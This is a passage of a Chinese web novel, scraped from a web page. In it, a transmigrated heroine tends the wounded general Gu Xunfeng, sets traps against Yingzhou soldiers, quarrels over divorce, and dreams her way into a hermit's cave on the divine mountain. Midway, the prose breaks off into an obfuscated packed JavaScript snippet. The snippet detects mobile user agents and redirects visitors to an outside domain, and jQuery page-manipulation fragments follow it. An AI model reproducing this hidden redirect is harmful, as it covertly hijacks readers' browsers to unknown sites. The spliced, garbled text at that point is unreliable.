林清月扶着他坐下,见他们还在收拾瀛洲人,而顾寻风的声音就在耳边,呼吸轻轻挠着她耳廓:“不管是不是谁的援军,我们都不能再被动,若他们发现了,会先对你下手。” 都这样子了,怎么还想着她的性命,况且她又不是完全没有自保能力,刚刚她还帮忙杀了一人呢,怎么就这么不放心她! 林清月深吸口气,把心里的怨气憋回去,将他抱紧,“在伤好之前,你都别想再碰到武器,你就看好了,我才不是什么没用的菟丝花,我也可以保护好你的。” 顾寻风问:“为什么?” 林清月摸摸他的后脑勺,让他完全靠在自己身上。 她没明白顾寻风在疑问什么,思索了会,望着孟放歌忙碌的背影,随后垂眸附耳,说:“只要不威胁到我的利益,我自然会救你,难不成你还是不信我?” 她指了指被排好的尸体,指尖对准其中一个说:“那就是我杀的。” 顾寻风在她怀里笑了笑,他没看过去,只说:“我信你的……” “那你还问我‘为什么’?” 林清月收回手,疑惑地低头看过去,却发现顾寻风已经闭上双眼,身体的重量全部都在她的身上。她赶忙探了探他额温,又摸上他的脸,喊他名字。 顾寻风没有彻底昏睡过去。 感觉到她的动作,便抬手覆在她手背,把她的手拉下来抓在手里。 恰好那边孟放歌收拾完瀛洲人的尸体,悠悠走过来。 那儿有士兵点了火把,火光照过来,让影子覆盖过来,林清月顺着影子看过去,见孟放歌蹲在了自己面前,而双剑已然被收了回去。 “你没受伤吧?” 林清月摇头,随即立马问她:“这是怎么回事?这些不是我们的士兵,竟听你的话?” 孟放歌笑道:“我抓了他们呀,然后让他们跟我一起来救人,很简单的事情啊。” 林清月:“他们怎么会信你……” “怎么不会?”孟放歌拿出了一瓶药,丢到林清月怀里,“只要我说,我们去杀瀛洲人,不就能听我的了?” 她扬了扬下巴说:“给你夫君用吧,既然他帮我弄了那几个瀛洲人分担仇恨,那我也救救他吧。” 林清月捏紧药瓶,看向洞口,想起先前听到瀛洲人说的话,“他们还有援军,我们还是快走吧。” 孟放歌却说:“你先给他上药,那边一对瀛洲人,应该能碰上江副将的队伍,按他的脾气定不会放过那些瀛洲人。” 林清月想着反正也能联系,便听了孟放歌的,先给顾寻风上药。 “听起来,孟将军与江副将还挺熟悉的,这就是知己知彼百战百胜?”林清月笑眼弯弯看着她,开始准备上药,嘴里也不停问着。 孟放歌坐在一旁,“只谈得上认识,上一次见他还是挺久之前的事了,他在我军中当俘虏,本来啊,我要他来做我的面首,可惜后来被救走。” 林清月想了想,江奇云的样貌的确不算差,若是多年前没经历什么战争,更白净的时候,怕也是挺好看的吧?但他那暴脾气,林清月想着不禁失笑:“他?面首?他恐怕气死了吧。” “气啊,跟个贞洁烈妇似的,好几次在我面前大放厥词,说就算死也不屈服什么的,这样的我可见多了,后来不也都是乖乖入了我府中,对我不管用……”说到这,孟放歌“啧”一声,看向顾寻风。 “都怪他,不然这人我定是能得到的。那时候他还不是什么将军,我们都是第一次听说他的名字。” 林清月微愣,给他上药的手也顿了顿。 这么早的时候啊…… 孟放歌的话匣子打开了,还在继续说着。 “那时多少岁?我也记不清了,总之在我眼里都是群小屁孩儿,这么多年过去,一个个都出落成大小子……” “刚刚来救你们的路上,我还远远看了那位江副将一眼,他倒是生得跟从前不一样了,不过我还是认得出,现在这气质倒是可以当个正宫的位置,就是不知道他愿不愿意……” “不过谁在意他愿不愿意?” “孟将军——”林清月无奈,“江副将脾气暴,应该无法胜任正宫这个位置的。” 孟放歌话语一顿,饶有兴致看着她:“你……竟然不斥责我这样?” 林清月道:“这并无不妥啊。” 孟放歌意味深长看了她一眼,没再继续这个话题,起身去看那些尸体了。 趁着这个时间,林清月联系上秦安肆。 ‘我们现在很安全,你们那边如果遇到了瀛洲人的队伍,江奇云要动手的话,不用拦着。’ 秦安肆呵一声:‘已经遇上了,拦也拦不住。’ 林清月讶异:‘这么快?’ 于是她看了看地图,发现他们与她的距离还挺远的,难怪那些瀛洲人看见有人来了的时候都是必死的语气。 ‘你们应该打得过吧?’ 秦安肆好似有些崩溃,但还在竭力保持冷静:‘既然安全了,你们能不能先来,帮帮我?’ 林清月第一次听他这种语气,觉得好笑:‘想不到啊,你还有这么一天……好好好我知道了,总之你先对付着,保护好自己。’ 秦安肆貌似已经懒得理了,没回话。 然后林清月切断联系。 但现在不是她想不想去的问题啊,问题是顾寻风…… 她仍旧把顾寻风抱在怀里,这样可以实时感受到他身上的温度。顾寻风其实是清醒的,她也知道,刚刚上药的时候她都有感觉他皱眉的动静。 可,若去帮忙,顾寻风肯定又要出手。 她不想这样。 她……不忍心看见他那副样子。 林清月抓着他的手,把脸靠在他太阳穴的位置,半晌,喊了他一声:“顾寻风。” 顾寻风轻轻“嗯”一声。 她本想问问顾寻风自己的想法,可一想,顾寻风能有什么想法,肯定是去帮忙,于是接下来又是漫长的静默。 最终,顾寻风睁开眼,抬眸望过去,率先开口问她:“你想去找他们吗?” 林清月有种被拆穿心思的窘迫,她咬咬牙保持思维逻辑:“我……是在想这件事,但我想,江副将或许也不需要帮忙,他这段时间在你的督促下进步了不少,或许他自己也可以对付……” “他还不可以。”顾寻风不容置疑说出了这句话,接着撑起身子,“他自然可以保证自己不死,可带兵这事上,他还不行。” 林清月稍一思索,便明白他的意思,心下一沉:“你是说,其他人的性命,并不能保证,对吗?” 顾寻风没有否认:“是这个意思。” 听到这个答案,又结合刚刚秦安肆的话语,林清月纠结起来。 “可如今你受伤……也帮不了他们什么。” “我不要紧。” “我不信你。” 林清月深吸口气,忧愤地看着 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若真要去帮忙,孟放歌出手,那就够了,但还不是担心顾寻风又像刚才那般趁她不注意乱来,所以才要得一个承诺。 如此,她才安心。 决定了去帮忙后,林清月去找孟放歌说明了情况,孟放歌没有拒绝,兴致冲冲就带着他们出了山洞去寻人。 他们走得很隐蔽,孟放歌带着士兵在山林中穿梭,林清月则抱着小哈,二人跟在最后面悠哉悠哉。 ‘你们现在情况怎么样?’ ‘瀛洲人数比我们多,一百多人的小队,我们现在正在埋伏,你们那有多少人?’ 林清月抻着脖子数了数:‘……十几个,还有孟放歌也在,不过他们有人数优势……你们先出手牵制,我在后面做陷阱去。’ 随着他们行进,地图上光点也越来越近,在快要接近的时候,孟放歌似乎也发现了什么,让士兵分散开来埋伏。林清月想了想把孟放歌拉过来问:“瀛洲的人估计要多些,不如我们先做个陷阱。” 孟放歌皱眉:“时间来得及么?” “来得及的。” 林清月仔仔细细看了一遍地图,让孟放歌带了几个士兵,他们一路沿着道路走,林清月找到了一个不太平整的天然坑,让人把坑洞修理了一下,自己则从百宝袋里掏出老鼠夹丢在里面,而外面则放了一路的绳索用落叶和枝木覆盖住了。 一切布置完成,他们隐蔽在暗处去。 林清月连通秦安肆引人过来:‘……还有,你们小心一点,别把陷阱踩了。’ ‘我不蠢。’ 片刻后,动静传来,瀛洲的人奔逃而来,随着一阵惊呼,大半的人都掉入陷阱,传来惨叫,还有一些人被绳子圈住脚踝吊在空中,被当做靶子射。 林清月估摸算了一下,剩下的按照他们的功夫,应该也可以解决,于是拉着顾寻风退后躲起来。 江奇云带人从后面追来,首当其冲,埋伏着的孟放歌看准时机,指挥着士兵将那些人包了起来。 混乱之中,林清月朝秦安肆挥挥手。 秦安肆绕了好大一圈,避过战场过来,与他们躲在一起,还把楚才拉来了,“给你们将军看一下。” 楚才懵:“啊,哦哦……” 等着楚才给顾寻风把伤口好好的处理了一下,林清月才正式放心,等着缠绷带的时候,江奇云那边已经收拾完了瀛洲人。 只是…… “做什么?这么多年不见你就这样对我刀剑相向,我刚刚还救了你——剑别抖啊,没想到你竟然还在怕我……别生气别生气,你们将军在那边呢,不去看看吗?” 只是好像相处不太愉快。 江奇云提剑对着孟放歌,谨慎挪着步子,绕了半圈到她身侧才看见自家将军,收剑奔过去,“将军!!” 林清月捂了下耳朵,安抚说:“他没事他没事,你别嚎了,伤口都已经处理过了……” 她看了眼还在担心的江奇云,又看了眼缓步走来的孟放歌,提醒江奇云说:“还有,人家孟将军是来帮忙的,刚刚还是她救了我们。” 刚好孟放歌走过来,笑着说了句“是啊”,然后问林清月:“小林姑娘接下来准备去哪,我准备个马车送你们,放心,王上那边,我会给你们说说好话的,现在瀛洲不安分,我们也该停战了。” 江奇云早就溜到了顾寻风旁边去蹲着,林清月则思索了一会孟放歌说的话,询问:“我们要去神山附近,可以吗?” 先去跟他们会合。 孟放歌说:“自然可以,不过如果是要进神山,我得劝劝你。” “我知道,很危险。”林清月眨下眼睛,扯扯她衣袖,“所以孟将军有没有时间跟我们一路?” 那神山,她有小哈在,根本不怕,但她不确定那留光铲的主人究竟是谁,所以想试试孟放歌。 此话一出,江奇云第一个跳出来不同意:“那怎么能行?她是姜国的将军,怎么能跟我们一路,谁知道她有什么心思!” 林清月把他拍开:“你去看着将军去,没你的事。” 随后继续看着孟放歌。 “孟将军,你觉得怎么样?” 孟放歌微微眯眼:“真要去神山?” 林清月坚定点头:“要去。” 她就不信这神山中当真什么都没有了,若留光铲的主人不是孟放歌,那最大的可能,就是在神山中啊。 但孟放歌说:“我不去。” 说是要回去跟王上商量关于瀛洲的事,所以拒绝了。 林清月只能作罢。 孟放歌本性不坏,只是有野心有志向,又是他们敌国的将军,所以先前才有诸多矛盾,至于那些面首什么的,林清月并不觉得有什么。 且不说她都这个地位了,她本身又不是什么碌碌无为的人,有几个男人怎么了?又不用他们怀孕生子,能给大将军出谋划策排忧解难,反倒是他们的福分了。 她一个女子走到这里已是奇迹,又哪有那么多是非对错。 …… “你都不知道她的真实嘴脸啊,你听我的,真的要离她远点!” 只是江奇云在她耳边真的太吵了。 “你少说点吧,孟将军去给我们备马车,你反而在这里说人家做什么?” 林清月恨不得把他的嘴用胶带封起来,转头看向顾寻风控诉:“你管管他,在耳边跟个苍蝇一样。” 顾寻风瞥了江奇云一眼,把她拉近说:“你让让他吧,之前他被下药下出阴影,对孟将军一直有意见的。” 林清月:“好的。” 江奇云:“……” 54. 奇幻梦境 江奇云自闭了。 耳根子也终于清净下来。 孟放歌去备马车要一些时间,林清月靠在石头上,这时候才觉得有些累,眯了一会醒来,全身酸痛。 但想想接下来还有事要做,她便拍拍脸让自己清醒,动静引得顾寻风看过来。 “怎么不多睡会?” 林清月下意识往他肩上靠,意识到之后又坐直身子。 “不行,我睡过去了,你跑了怎么办?” 顾寻风把她要离开的脑袋放在自己肩上,轻声道:“我现在身受重伤,手无缚鸡之力,只能靠林姑娘保护,走不了。” 林清月顺从靠在他身上,却是没有继续睡,她道:“我信太阳从西边出来都不信你手无缚鸡之力。” “缘何不信?”顾寻风的声音带着笑意。 林清月道:“我知道,你可有本事了,你能从敌营救出俘虏,能一人破万军,能护临沙关到现在……你的名字,谁不知道啊。” 她抬头,目光落在他嘴唇上被自己咬破的地方,那儿已经结痂。她不自觉抚上去,指尖碰到了,又缩一缩,但下一秒依旧碰上去。 “只是,你也不过肉身凡躯,我说过,我不想让你死,是真心的。” “所以你可不可以……” 顾寻风却忽然吻了下来,吻在她睫毛上,动作极轻。 轻柔的吻落在上面,带着温热的体温,她睫毛不受控地颤了颤。 他把她拥入怀中。 而后说:“你说得对,我不怕死,也一直不在乎死亡,当初甚至想过,若真的死了,倒也是一种解脱。” 林清月抬手推推他:“你别这样……” 他不离开,继续说着话。 “但无论我怎么肆意妄为,怎么乱来,都死不掉。最开始我很失望,但后来将梦中本该死去的人一个个救回来,我又觉得这一切,也许有意义。所以我尽我所能去改变这些,当然,如你所说,不顾及生死。” “林姑娘,我说过你能缓解那些噩梦带来的痛苦,我也没说谎,说的一切是真心话。” “但我记得,你说,你是另一个世界的人……” 林清月问:“你不是不信吗?”不是怀疑她脑子有病吗,怎么此时又信了? 顾寻风环在她背后的手紧了紧,他攥紧拳头,抓住了自己的袖口,连带着怀抱也紧了些。 “我等到你了……” 林清月皱眉:“什么?” “所以我信,信你说的所有的话。” 他说话的声音细弱蚊蝇,不努力听根本听不到,林清月困惑:“这是什么意思?你是在怪我不信你?” 顾寻风的头埋在她颈边,他说:“不是。” 林清月便更加疑惑:“顾寻风,我没懂你的意思,你为何忽然信我说的话?又为何——” “所以,林姑娘的家,也是在另一个世界吧,在很远很远的地方。” “……是。” “我去不了,是吗?” 林清月微怔。 她无法回答,她大可以说“去不了”,叫他断了念想,可她自己都断不了自己的念想,她希望他“去得了”。 ——“既然这个世界让你这么痛苦,那跟我走吧?” 她很想这么说。 话却没有说出口,系统在她脑海中响起警报。 【注意!注意!外来者违背世界规则将被全方位抹除!】 【注意!注意!外来者违背世界规则将被全方位抹除!】 【注意!注意!外来者违背世界规则将被全方位……】 “去不了。” 林清月推开顾寻风,眼神飘走不敢看他,咬着牙,笃定重复:“去不了的。” 顾寻风垂了垂脑袋,没有回话。 倒是林清月先受不了了,转身面对着他,把他的脸掰正,认认真真开口:“问这么多,你是想和离,又说不出口,觉得亏欠我是吗?” 顾寻风:“不……” 林清月气道:“好,那就和离。” 顾寻风惊诧:“不是这……” “正好我要去神山,你受了伤也不能一起,直接回去就行,我们就此分道扬镳。” 林清月直接把后路都想好了。 顾寻风有片刻的无言,好半天面容才平静下来。 “……我不和离。” 林清月:“我们早该和离了。” 顾寻风有些慌乱:“不,不和离。” 林清月紧紧盯着对面满脸紧张的人。 此时她盘腿端坐着,面色是前所未有的正经。 为何忽然作此想? 和离……本就是他们约定好的不是么,只是差一个契机而已。 而这明显不是个好契机。 她就是…… 就是忽然很生气,听到他对于“去不了”这个答案的沉默,心里闷闷的。 或许是因为没有得到她想要的答案,她想。 …… 她想要的答案,是什么? “我们和离吧。”她想要的答案,他给不了,那,就不强求。 想想也是,明明从前被拒绝了这么多次。他们这样一直暧昧不清的算什么呢?她喜欢这样吗?答案明显是不喜欢。 所以她想及时止损。 “之前我们约定了的,我给你你想要的,我们就和离。而你想要的,我早就给你了,我把我的想法我的技术,慷慨交给了你的下属,你也觉得这样便行。” “这件事一直拖到了现在,我只是觉得……不能再继续下去了。” 若真的陷进去这份感情,对谁都不好。 所以必须和…… 顾寻风忽然开口:“但我还有想要的东西。” 林清月忍无可忍:“顾寻风,我看你就是喜欢我,舍不得我,你为什么就是不承……” 这时小哈忽然跳了过来,身体被眼疾手快的顾寻风按住,爪子快速挥舞,挣扎着想去林清月怀里。 顾寻风死死按住躁动的小狗,眸色认真道:“我想要这只狗。” 林清月:“?” 顾寻风点点头认同自己的话,并重复一遍:“我非常想要这只狗,林姑娘。” “……” 喵的,这个人有病吧。 林清月快速拎起小哈抱回自己怀里,愤然起身:“你不许给我打马虎眼,话我就放这儿你和不和离?!信不信我现在就给你写——” “不要生气不要生气!”顾寻风也跟着她站起来,顶着其余人八卦的目光捂住她的嘴让她坐下,“我是真心的,我不会跟你说谎的。” 林清月气急了。 好不容易下定决心,结果这人反悔。 “现在也不是和离的时候。”顾寻风按住她,指指不远处正在缓慢驶来的马车,“我们先赶路。” 林清月这才深吸口气平复下心情。 “我要去神山,等我跟他们会合了,我们就兵分两路,等我回去再找你算账……” 现在罗知之还被他们压着,确实是还走不了。 也不知道罗知之那边有没有调查出什么东西。 路上,林清月试着联系差点被自己遗忘的罗知之,但罗知之却一直没有回复,根本联系不上不论是拉大群还是单独联系,都听不见罗知之声音。 【放心宿主,您的队友生命体征正常。】 ‘那为什么联系不上?’ 【信号中断、信号中断……】 林清月:‘……’ 不知道为什么,她总觉得系统的机械音更重了,她竟然有点想念之前那个狂放不羁的系统模样。 ‘或许真是信号不好吧……’湛亦安慰她。 林清月叹气:‘等我到了那边,我们就赶紧去神山找留光铲的主人,然后快些回军营问问情况,我想,我们得去胡京一趟了。’ 罗知之没有消息,她也不知道皇帝那边究竟是什么想法,不知道自己的猜测是不是正确的。 更不知道就这样让顾寻风回去,安不安全。 但若真如她想的那样,她留下顾寻风也没多大用处,反而平白让不该死的人死了。 顾寻风那么机灵个人,回去了,也不是坏事。 无论如何,动作快些总是好的。 他们一路行进,紧赶慢赶到了目的地,花了两日。 两日过去,林清月当然已经冷静下来,没在气头上了,但仍是不理顾寻风,只叮嘱江奇云说:“你好生把你家将军送回去养伤,路上注意些,我处理完自己的事情就回去了。” 江奇云皱眉:“处理什么事情?” 林清月不耐,扫他一眼:“我有队员还在你们那儿,还能逃跑不成?况且我又没做什么……” “停停,我不是对你认识孟放歌有意见!我……我就是帮将军问的。”江奇云挠挠鼻尖,小声说:“你跟将军置气什么,将军他年纪小不懂事……” “滚。”你就是什么懂事的大人吗。 林清月把江奇云撵走,瞪了眼偷偷看着这边的顾寻风,转身跟秦安肆进了客栈去。 林清月眼疾手快拉过第冲上来的顾焦焦:“焦焦啊,你先跟你四哥回去,你四哥受伤了需要人照顾。” “什么?!” 顾焦焦本来还想拒绝,一听到四哥受伤了,即便有些不舍,也还是一步三回头出了客栈。 等到顾焦焦出去了,林清月立即关上门,转身坐下猛喝几口水,此时另外几人也都走了出来,仲长椿坐在她对面,背后的铲子格外显眼。 她看见这铲子就头疼。 “这铲子既然出自神山,怎么可能什么都没有?” 仲长椿:“我觉得这什么神山就是框人的,现在我们又联系不上罗知之,要不然还是先回去?” “不行,我要去神山再看几眼。”林清月看向他背后的留光铲,站起身来,“而且系统也说了,之之生命体征正常,或许是因为距离过远信号不好吧,我们动作快些就好。” 于是当天傍晚,林清月就背上留光铲,小队一行人一起退了客栈上山,仲长椿和湛亦在前面领队开路。 这神山山路并不陡峭,看着就是正常的山林,一路走着,或许是因为有小哈在,所以并没什么野兽袭击,当然,也没什么奇异的事情发生。 几人一路爬到了半山腰,湛亦说:“我们之前来的时候,就是在这里碰到野兽袭击的,这狗也不知道究竟是从哪来的,救了我们,不然还不一定能活着出去。” 林清月活动着肩颈,“系统应该不会让我们轻易死掉的。” 湛亦瞥了她一眼,提议说:“要不先休息一下吧。” 林清月摇头:“回去再好好休息。” 在这儿也休息不好,又是蚊虫,又要提防野兽突袭,虽然确实很累,到现在还是浑身酸痛的,她也不想在这儿幕天席地睡觉。 能接受三天不换衣裳都已经是她的极限了。 几人沿着山腰行走,渐渐的夜幕降临,看不清什么路,好在这时候百宝袋拿出来的手电筒能用。 不过时间有限—— 手电筒没地充电。 实在没办法了,暂时也没什么进展,林清月才妥协说:“找个地方休息去。” 湛亦拿着不知道从哪顺走的小刀砍下交错的树枝,带着几人找到了一个小洞口,洞口很浅,但也能容纳得下。 林清月坐在石头上叹气:“到底是谁把这山传得那么神的啊,感觉就是座再普通不过的山了。” 湛亦斜靠在洞口,拿手电筒照了照外面,“或许深处还有东西吧,我们当时搜索了几天没发现什么,就没继续,怕走得太深了出不来,不过现在我们一起的话,倒是可以试试。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14512092|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林清月应了一声表示同意。 一直精神紧绷,奔逃几天,即便在马车上也没放松过,她着实有些累,往后靠靠,不一会就睡了过去。 迷迷糊糊的,仿佛看见面前手电筒的光亮。 不知道睡了多久,她忽然听到周围很是吵闹。 又是想睁眼却睁不开的感觉。 明明感觉到天好似亮了。 她得继续前进了。 她还有事没做完…… 突然,太监尖锐的声音传入耳中—— “陛下口谕,豫贵妃包庇家族,意图谋反、陷害皇嗣,今施腰斩之刑,以儆效尤!” 等等!豫贵妃不是顾寻风二姐吗?这怎么回事…… 她头脑一阵眩晕,努力睁开眼。 眼前是刑场,而顾尘微就被压在上面,根本没有反应的时间,就这样手起刀落。 林清月僵在原地。 彼时身后响起叫喊声,那人撕心裂肺喊着“二姐”,穿过她半透明的身躯奔上前去,失力跪在了地上。 “我二姐没有做那些事!” “陛下说有,那便是有。来人,把将军拉下去。” 林清月看清楚了,那是顾寻风。 等一下……她在做梦吗……为什么她会做这种梦? 还未想出什么所以然,周遭忽起尖叫声。 她骤然抬眸,望见顾寻风已经夺了侍卫的剑,把要来控制自己的人全杀了,然后冲上前,疯了一般将行刑人也刺伤,周围看戏的民众全都慌张散去。 太监指挥人说:“陛下的命令,违令者斩!” “这不对……不该这样。”顾寻风嘴里呢喃着什么,一下又一下挡着攻击,却在某一刻,忽然卸了力。 “顾寻风!” 林清月奔上前去,但她根本阻挡不了,刀剑穿过她的身躯并没有任何阻碍与停留,直直刺入顾寻风的身体。 她站在一旁无能为力。 恍惚间,好像听见顾寻风喃喃出声:“再重来吧……只差最后一步就可以了……” 那是什么意思? 林清月脑子里已经是一团乱麻,她摸了摸自己半透明的身躯,回头望向跪在地上的顾寻风,她缓缓走到他面前去,蹲下去抚上他的脸。 他身上被刺了许多伤口,脸上也都是鲜血。但她的手穿过他的皮肤,擦不去这些肮脏的鲜血,也探不得他此时呼吸。 她试探性出声,这才发现自己声音有些哑:“醒醒啊。” “……” “你……睁开眼睛啊……” 顾寻风当然没有回应。 他应当已经死了。 这个想法冒出来,林清月浑身都冷了下来。 她想,这只是个梦而已。 只是个梦。 或许,只是顾寻风那样的梦而已……或许是因为神山磁场不对,所以,她也梦到了而已…… 她再次抬手。 指尖触碰到他面颊的那一刻,忽然感觉到他冰凉的体温。 她的手实实落在了他脸上。 “顾、顾寻风……” 林清月不知道这是怎么回事,发现这个变化之后,她挪动膝盖靠近一些,两只手都捧上去,把他的头抬起来,眼前模糊到看不清对方的脸,只能透过水珠看见一些轮廓。 她闭了闭眼,凑过去吻了吻他紧闭的眼睛。 “要等我啊。” 而后退开,她看见那双眼睛动了动,竟然慢慢睁开了。 而她从那双眼中,看见了正在逐渐消散的自己。 她眼前一片黑暗,仿佛被人扔下了悬崖,一阵天旋地转。 再次睁开眼,她躺在一个很浅的水池中央,白衣和头发都被浸透了,周边一个人也没有。 只有小哈趴在水池边上。 林清月惊坐起,第一时间找了找一直背在身后的铲子。 不在身上。 再看了看四周,才发现铲子被靠在一张床上。 这个山洞看起来是有人居住的,陈设简约整洁,只是颜色异常张扬,那张床上挂着的绿色帘子,十分显眼。 她思索了一下,起身走过去,行至床边,看见床上躺着的小孩儿,不禁皱起眉头。 这时小哈叫了几声,她回头,看见小哈摇着尾巴跑向洞口,洞口外似乎是一条长道,这山洞还挺深。 下一秒,一个衣衫褴褛的小老头从外面钻进来,看见小哈的时候还愣了一下,“嗐,你终于晓得回来了?” 林清月僵直在原地,进也不是退也不是。 但那小老头看见她似乎一点也不惊讶,只道:“哎哟我说怎么叫我回来看看,原来有客。” 他伸手扯了扯腰上的布带,衣服眨眼间就变了个样。 林清月目瞪口呆,坐下之后才发觉自己的衣裳不知何时也已经干了,这才后知后觉—— “你知道我不是这个世界的人吗?这真是神山啊?” 小老头给了她一杯热茶,慢悠悠说:“谁跟你说这是神山的?我就在这住了一段时间而已啊?” 他手指一抬,不知是施了什么术法,系统竟然直接被他从脑袋里甩了出来,光球在石桌上滚了几圈,蹦跶起来,迷茫地看看四周。 看到小老头的时候,光球抖了抖。 小老头手掌一挥,又给系统拍了回去。 林清月眼一睁一闭,脑海中响起系统的尖叫声。 【啊啊啊——怎么会有上位神来这个小世界啊——】 林清月:“?” 最懵的应该是她吧。 且不说睡个觉就来到了这里—— 那床上躺着的不是太子吗?! 她刚刚才梦见顾尘微因为谋害皇嗣被腰斩,就看见唯一的皇嗣出现在眼前,还是在姜国的神山里。 那顾尘微现在如何? 55. 错乱时空 【恭喜宿主找到土木大传承指定传承人!解锁任务:与传承人结契!(注:本任务可解锁60%进度)】 林清月:‘……’ 现在这里唯一的人,就是后面那个太子了。 开什么玩笑,他现在才几岁。 他怎么学啊。 怎么学啊? ‘一个才四五岁的小屁孩,传承人,真有你的。’ 系统没有回应。 小老头忽然一点额头:“我明白了!” 林清月:“?” 只见那小老头搂起衣袖,走到床边,抓起还在昏睡的太子就使劲摇晃。 太子嘤嘤几声,悠悠转醒。 然后盯着小老头发呆。 他们互相盯了一会,小老头才摸摸胡须:“原来如此,原来如此……”而后小老头捞过旁边的铲子就往太子头上敲过去。 !等一会! 林清月生怕她的传承人傻了,赶紧上前去想挡住,恰好此时,就在铲子碰上太子脑袋的那一刻,系统声音再次响起。 【恭喜完成任务,留光铲物归原主,土木大传承进度40%】 林清月刹住车:“……” 小老头丢下铲子一拍手:“好咯!” 林清月疑惑:“什么?” “开灵智啊。”小老头把铲子丢在床上,任由小太子爬过去研究,还顺势抓走了试图咬走大绿色床帘的小狗,坐了回去。 林清月依旧不懂,什么开灵智。 小太子还是孩子一般,抓着铲子玩似的敲敲打打,根本没看出有什么变化。 林清月转头也坐回去,正色问:“您知不知道,我和他,为什么会在这里?这是哪儿啊?” 小老头吹吹茶水抿一口,道:“别急,你们顶多睡一会罢了,我看过了,他是这个世界新的气运子,保护机制在呢,所以临死了,灵魂就到了这里来。” “临死?”林清月捋了捋他的话。 “顶多睡一会”、“临死”…… 恐怕这里还是梦境吧? 至于什么气运子,她并不在意,她的任务就是在这几天时间里完成传承任务。 不过,若真如这老头所说,小太子已经有了生死之灾,那如之前梦境,二姐怕是要出事了。 也不知道顾寻风能不能及时阻止。 她得尽快。 “孩子啊,我这地方寻常人可进不来,还算安全,只不过信号不太好,可能联系不上人……” “前辈,他是因为临死才来这避难,那我呢?我为何会来这?还有这铲子……是怎么回事?” 小老头笑笑:“你应该也知道我不是这个世界中的人了吧,甚至都不是人。世界主神不可现身世中,而我恰好在此陨落过,所以这个世界的主神得以召唤我一丝魂魄来到此处,助他拨正世界走向。” 他放下茶盏,摇头叹气。 “这应是他最后的办法了。” 林清月了然:“我来到这里,是世界主神所为。” “你不懂,我就跟你讲讲吧。”小老头眉目间带着慈蔼的笑意。 “一个世界崩坏,世界主神就有连带责任,重则被抹杀,而你脑海中那个东西,是主神利用人类精魄炼化而成的一个东西,也是维护世界走向的一个重要物品。” “你的这个东西,是由这个世界原本气运子的精魄炼化而成,不过,精魄并不完整,所以没有那么智能。” “而不管是控制人的轮回或重生,又或者带你来到这个世界,都是这个世界主神拯救世界的手段。因为你的世界是由诸多上神,与天帝亲自监管的世界,他是想借你身上的气运。” 林清月皱眉:“等等,那我也是气运子?” 小老头摇头:“大世界就算是普通人的气运,都比小世界的气运强得多,他便是想利用这一点。” 说到这,小老头颇为哀叹。 “他也是费尽了功夫啊,又是掌控人轮回重生,又是重选气运子,这都没什么。关键竟还奉了个大世界才能采名的天命女在这里,为了这个世界,做这么多违禁之事,他竟都不怕罚了。” 林清月暗自思索,整理他那些话里的信息。 难怪她这个系统总不太聪明的样子,原来是缺斤少两。 那前气运子也不知是怎么回事……怎么竟然拿他的精魄来炼化呢? 等等,之前系统说是因为他才世界崩坏,莫不是,这份记忆是前气运子的?所以,是前气运子玩崩了世界,所以主神才把他的精魄拿来炼化系统? 这貌似是最合理的解释了。 “那……”林清月垂眸,“那就是说,这两个世界本质上是不互通的,但如果有什么特殊情况……” “可通。”小老头这句话说得笃定,而后意味深长看着她,微微阖眸,又说:“不过,难如登天。就算是主神如今对你们做了这种事,往后他也定会受到惩罚的。” 林清月沉默片刻,问:“那前辈知道我的同伴们怎么样了吗?” 小老头反问:“你希望他们怎么样?” 林清月微愣,试探性道:“我想让他们回军营去。” “好。”小老头答应得很干脆。 …… 小老头时常不在洞里,林清月便就捧着书坐在床边,小太子是传承人,又被开了灵智,都不用她多劝说,不自觉就爬到了她身边,盯着她手中的书,目不转睛。 而她自然而然就开始了教学。 “殿下识字?” “会,写!” 林清月便把脸红害羞的太子抱到桌前,递给他一支笔,“那殿下写下自己的名字给我看看,好不好?” 小孩儿的字歪歪扭扭,并不好看,但也算是写了下来,发黄的纸张上赫然两个大小不一的字—— 赵麒。 那么事情就好办了。 气运子是个天才很正常,林清月并不惊讶,几天里,她就时不时给太子灌输些基础知识,并撺掇他回去实践。 几天相处下来,太子对她都已经不脸红了,一心认字和吸收知识,说话都顺畅了不少。 林清月乐得清闲,这里环境又好,但总归是不能久待的。 那外头还有很多事情呢…… “老师,你在想什么?”小太子趴在床上,小手抓着毛笔。 林清月回过神来:“没什么,你好好练字……好了,坐起来,趴着像什么样子?” 小太子不情不愿坐了起来,拿着手里的毛笔和纸下了床,爬到石凳上去。 还没爬上去,小哈忽然从洞口冲进来,把他吓了一跳,懵懵坐在地上。林清月上前去把他捞起来,看向匆匆忙忙进来的小老头。 小老头嘴里念叨着什么“错了”,在房间内踱步。 林清月询问:“前辈,怎么了?” 本来想等他回来了,问问回去的事,但这看起来是发生了什么? 小老头重重叹气, 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于是她掀开珠帘,毫不犹豫踏了出去。 那一瞬间,天地翻转。 她仿佛踏入了万丈深渊,不断下坠,直到失去意识。 “……你看那是什么?” “一只雏鸟哎,怎么在水里?鸟也会游水?” “你蠢啊!它溺水了!” 林清月能确定,他们口中那个溺水的鸟就是自己,因为现在,虽然眼睛睁不开看不见情况,但呛水的感觉,她还是知道的。 “你等着我去救它!” 接着是“扑通”一声。 林清月努力向着声音传来的方向扑腾,眼睛睁开了些,迷迷糊糊看见前方一个红点在靠近。 很快,她被包裹在了一个温暖的掌心里。 “你看你看——” “给我拿着吧,你快去把衣服拧一下,都湿透了。” 眼前骤然一亮,她找到落脚点,抖了抖身子,这才看清眼前自己正站在谁的手上。 虽然但是,这不就是江奇云那张脸吗?只是白一些…… 看着也才十四岁左右的样子。 正在观察面前的人,身后忽然传来另一人声音,“算了算了,水太多拧不干,我们先回县里吧,我去找县令送完信就要回家了。” 江奇云:“你这么听话?” “二姐回家了。” 另一人的声音有点熟悉。 林清月转身看过去,不出所料,是顾寻风。 “啊,我还想你再陪我练练呢,再过两年我就可以入营了!” 